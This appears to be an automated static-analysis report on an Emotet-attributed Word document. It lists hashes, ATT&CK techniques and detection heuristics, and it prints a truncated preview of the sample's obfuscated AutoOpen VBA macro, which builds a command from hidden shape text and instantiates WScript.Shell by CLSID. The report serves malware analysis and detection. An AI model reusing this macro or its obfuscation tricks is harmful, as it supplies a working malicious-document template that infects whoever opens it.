Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 96e77d26c333917d…

MALICIOUS

Office (OLE)

141.9 KB Created: 2018-11-28 11:33:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 6f7cdfbe48012cfaff16ba26d2b26d98 SHA-1: bc92e068a19d36e3505f2a5c782e3950820d4678 SHA-256: 96e77d26c333917dec940b9c2613ca845468ebfc968f1eeb5ff7c849f71a8a2c
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1218.011 Signed Binary Proxy Execution: Rundll32 T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment

The sample contains a critical heuristic firing for instantiating the dangerous WScript.Shell COM object via VBA, indicating an attempt to execute commands. The presence of an AutoOpen macro and the ClamAV detection signature 'Doc.Downloader.Emotet-6826445-0' strongly suggest Emotet family activity. The VBA script likely attempts to download and execute a second-stage payload, a common Emotet tactic.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6826445-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6826445-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA instantiates a dangerous COM class by CLSID critical OLE_VBA_GETOBJECT_CLSID_DANGEROUS
    VBA uses GetObject("new:{CLSID}") to instantiate an execution/scripting-capable COM class by its raw CLSID, avoiding the CreateObject ProgID that name-based detection keys on.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8745 bytes
SHA-256: b3eeac1848acc3cfef1aebdd46aa604fa75f4d0000a7a02c6281d19dad0208f7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "TLBqvTfNM"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   On Error Resume Next
Select Case wZAqtZPd
      Case 32277100
         RUkGDosS = CBool(VGWniAdrA)
         NBFHUEHp = 275180876
      Case 125679562
         wbHRPknuR = Atn(ipBccb)
         RpQiOqrj = Atn(81360477 * CLng(86146068))
   End Select
         For Each BwwCzz In fOVTQqw
         SiLDircV = zCIjkQl * CDate(XXsVV * qCGzMQwZ) * ljYMUJi / Sin(ZbZCzrn) / wjRtSEMww + 140678628 - 7364973 + Chr(160055243) + (QEZacXDME * tozTuv)
Next
   On Error Resume Next
Select Case SGwqwQniI
      Case 8693235
         BPRowdk = CBool(MBKmwGG)
         DjjSq = 102780153
      Case 184952766
         kIMcUOiYp = Atn(iNiZZjk)
         JoHUAkrH = Atn(232430789 * CLng(338151442))
   End Select
         For Each ijmnRDp In IGzWlz
         btaiJzi = GnsQI * CDate(kMffzGm * ZRVkSbbLS) * XaJwhEp / Sin(AajAZnh) / YtSroqmjT + 58057218 - 57454799 + Chr(168274801) + (GiuUVti * lfapTG)
Next
   On Error Resume Next
Select Case lqRliUKY
      Case 314352830
         XqjUU = CBool(JbowBa)
         WRFmGzGhA = 195652352
      Case 341093114
         DAmawZuFU = Atn(zVWhI)
         SjuiLwuT = Atn(167182496 * CLng(224888571))
   End Select
         For Each YoTXM In XQOWBpWG
         YSRjPY = WOTjQlFFS * CDate(QVVQA * mmzQtNRq) * bqacCqS / Sin(jSFDdSlL) / EAZAl + 27165583 - 158067586 + Chr(244315539) + (wQIzJzc * pvfdQK)
Next
   On Error Resume Next
Select Case IcltQvSFp
      Case 260923777
         rqYYG = CBool(ZqMujZ)
         BRzUXIaP = 195964373
      Case 205220872
         DtvZfrqQ = Atn(FiliiGjH)
         cDcDBrz = Atn(315877314 * CLng(334430944))
   End Select
         For Each hNmNLqUM In zKUEPki
         fVpRbSu = bEAsD * CDate(jsIjbSQ * nJtHHKH) * MTXUUaJRF / Sin(sLjlUTUZb) / vjILGEi + 210200581 - 153468098 + Chr(127409647) + (jubsjU * GJjqdhaE)
Next
Set ZsiCcD = Shapes("czuiJuYEJsmWu")
   On Error Resume Next
Select Case FRTAZ
      Case 89750450
         NDkHVtwqr = CBool(lQhEifGO)
         AWGvBbl = 131740289
      Case 322150338
         jAUZPhpW = Atn(IjXWcpHYH)
         alNmwNaGH = Atn(230309545 * CLng(210480457))
   End Select
         For Each ZzEKkRqR In pIHGvcz
         GtDdVWA = NVMoah * CDate(TXHXSSFq * qbkcFjCk) * dBpcGDd / Sin(qXvdd) / IVninEjKB + 20998554 - 140440733 + Chr(260888041) + (lYNjTcNwj * qQDuObhuE)
Next
   On Error Resume Next
Select Case jzrRC
      Case 323338675
         AkUjiVc = CBool(hdqstjOj)
         YFzVw = 74622052
      Case 90191876
         pHijcq = Atn(dkHjbC)
         aquwhtE = Atn(11506554 * CLng(127204881))
   End Select
         For Each SjtwAJ In ZGLpO
         AEmbPIbiF = wiGbz * CDate(UQnoORt * SdbCHUrkM) * uuvSptrlN / Sin(uRthHvm) / BaiiLpIlj + 162362339 - 182107571 + Chr(240232542) + (OSJhDi * atwdD)
Next
CjIdvLqXN = "" + juvLh + mSLiFJD + JdQjzk + ZsiCcD.TextFrame.TextRange.Text + NkUHd + wnIBmdQ
   On Error Resume Next
Select Case rlSFp
      Case 40527497
         ZqjJqUG = CBool(azzWhGRI)
         DdzIja = 259670923
      Case 11748026
         ziEbUJtzU = Atn(AbCdUMHF)
         uZwadFBLG = Atn(91320289 * CLng(276774268))
   End Select
         For Each vHvUXj In fqckmiIlB
         iwbVo = UDIbV * CDate(zmjiWE * GIzdIa) * SpKvV / Sin(ALcROu) / BbQOH + 195404759 - 82981355 + Chr(296597526) + (BIIDRush * Svfoft)
Next
   On Error Resume Next
Select Case wniQLqrZo
      Case 332945859
         SPSUdW = CBool(jUfTC)
         IwFJHK = 18980131
      Case 282209303
         vCHQLB = Atn(fdNii)
         ORYCktff = Atn(126012108 * CLng(189002490))
   End Select
         For Each PHMlhRdv In zUPMMLE
         pCGYkTk = lEaJLmcZ * CDate(BDpTzLj * NouBLqZp) * qQVNi / Sin(czwMCmJM) / ppKHOKrrX + 275329366 - 150241716 + Chr(205713061) + (lZOBTKwM * JWPNV)
Next
Set AozjuhMQ = GetObject("new:72C24DD5-D70A-438
... (truncated)

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